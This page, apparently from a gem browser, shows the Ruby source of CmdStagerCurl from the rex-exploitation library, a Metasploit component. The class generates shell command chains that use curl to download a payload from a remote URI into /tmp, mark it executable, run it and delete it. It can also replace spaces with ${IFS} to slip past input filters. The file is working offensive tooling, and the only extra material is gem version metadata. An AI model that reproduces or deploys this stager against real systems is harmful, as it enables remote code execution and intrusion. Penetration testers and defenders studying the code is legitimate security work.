Sha256: 02f760e35c577d004ab37772f34e4667adecc56bb9124a1952df0156a91eea19

Contents?: true

Size: 1002 Bytes

Versions: 5

Compression:

Stored size: 1002 Bytes

Contents

# -*- coding: binary -*-

class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase

  def http?
    true
  end

  def generate(opts = {})
    if opts[:payload_uri].nil?
      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
    end

    opts[:temp] ||= '/tmp'
    opts[:file] ||= Rex::Text.rand_text_alpha(8)
    @payload_path = "#{opts[:temp]}/#{opts[:file]}"

    super
  end

  def generate_cmds_payload(opts)
    cmds = []

    if opts[:ssl]
      cmds << "curl -ko #{@payload_path} #{opts[:payload_uri]}"
    else
      cmds << "curl -o #{@payload_path} #{opts[:payload_uri]}"
    end

    cmds
  end

  def generate_cmds_decoder(opts)
    cmds = []

    cmds << "chmod +x #{@payload_path}"
    cmds << @payload_path
    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]

    cmds
  end

  def compress_commands(cmds, opts)
    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
    super
  end

  def cmd_concat_operator
    ';'
  end

end

Version data entries

5 entries across 5 versions & 1 rubygems

Version Path
rex-exploitation-0.1.12 lib/rex/exploitation/cmdstager/curl.rb
rex-exploitation-0.1.11 lib/rex/exploitation/cmdstager/curl.rb
rex-exploitation-0.1.10 lib/rex/exploitation/cmdstager/curl.rb
rex-exploitation-0.1.9 lib/rex/exploitation/cmdstager/curl.rb
rex-exploitation-0.1.8 lib/rex/exploitation/cmdstager/curl.rb